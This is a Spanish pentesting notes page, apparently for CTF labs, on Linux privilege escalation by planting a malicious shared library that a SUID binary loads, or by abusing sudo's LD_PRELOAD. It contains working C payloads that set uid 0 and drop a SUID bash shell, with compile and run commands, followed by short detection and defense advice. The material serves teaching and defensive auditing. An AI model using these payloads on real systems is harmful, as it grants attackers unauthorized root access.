Shared library injection
Cuando un binario SUID root (o ejecutado por un proceso privilegiado) carga dinámicamente una librería .so desde una ruta escribible por el usuario, podemos sustituir esa librería por una propia y ejecutar código con los privilegios del binario. Es la versión "a medida" del secuestro de librerías: no dependemos de LD_PRELOAD ni de LD_LIBRARY_PATH, sino de que el binario haga dlopen de una ruta concreta que controlamos.
Identificación
Localizado el binario SUID (find / -perm -4000), se inspecciona qué carga y desde dónde:
strings /ruta/binario | grep -iE '\.so|plugin|dlopen'
ltrace /ruta/binario 2>&1 | grep -iE 'dlopen|dlsym' # dlopen("/opt/app/libplugin.so", ...)
strace -f /ruta/binario 2>&1 | grep -iE 'open.*\.so' # rutas que intenta y fallan (ENOENT)Las líneas open(...) = -1 ENOENT señalan una .so que el binario busca pero no existe: si su directorio es escribible, ahí se planta la librería. Igual si el dlopen apunta a una ruta ya escribible.
Explotación
Se escribe una .so que implemente la función con el nombre exacto que el binario invoca (por ejemplo init_plugin) y contenga la lógica maliciosa. El constructor __attribute__((constructor)) también sirve si se ejecuta al cargar:
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
setuid(0); setgid(0);
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}gcc -fPIC -shared -o /ruta/escribible/lib.so lib.c
/ruta/al/binario_suid # carga nuestra .so y ejecuta init_plugin como root
/tmp/bash -p # euid=0Variante LD_PRELOAD / LD_LIBRARY_PATH
Si sudo -l muestra env_keep+=LD_PRELOAD, no hace falta un dlopen vulnerable: se precarga una .so con un constructor que da root al invocar cualquier binario permitido por sudo:
#include <stdlib.h>
__attribute__((constructor)) void x(){ setuid(0); system("/bin/bash -p"); }gcc -fPIC -shared -nostartfiles -o /tmp/p.so p.c
sudo LD_PRELOAD=/tmp/p.so <binario_permitido>Requisitos
La función debe tener el nombre exacto que busca el binario (si no, dlsym falla), y la .so debe estar en una ruta que podamos escribir (no una del sistema como /usr/lib). Para la variante LD_PRELOAD, sudo debe conservar la variable en el entorno (env_keep).
Cómo detectarlo. La firma es un proceso privilegiado cargando una librería desde una ruta escribible por usuarios (/tmp, /dev/shm, un home): auditd sobre open/openat de ficheros .so fuera de las rutas del sistema, o Sysmon for Linux registrando el execve del SUID seguido de la creación de /tmp/bash con bit SUID. Un sudo con LD_PRELOAD= apuntando a /tmp en /var/log/auth.log es inconfundible.
Defensa. Que los binarios privilegiados carguen librerías solo de rutas escribibles por root, usar rutas absolutas y RUNPATH seguros, no conservar LD_* en env_keep de sudo, y evitar cargar plugins de directorios de usuario. Relacionado con abuso de binarios SUID, secuestro de LD_LIBRARY_PATH y secuestro de librerías Python.
Máquinas donde se aplica
- WorkaholicProving Grounds Practice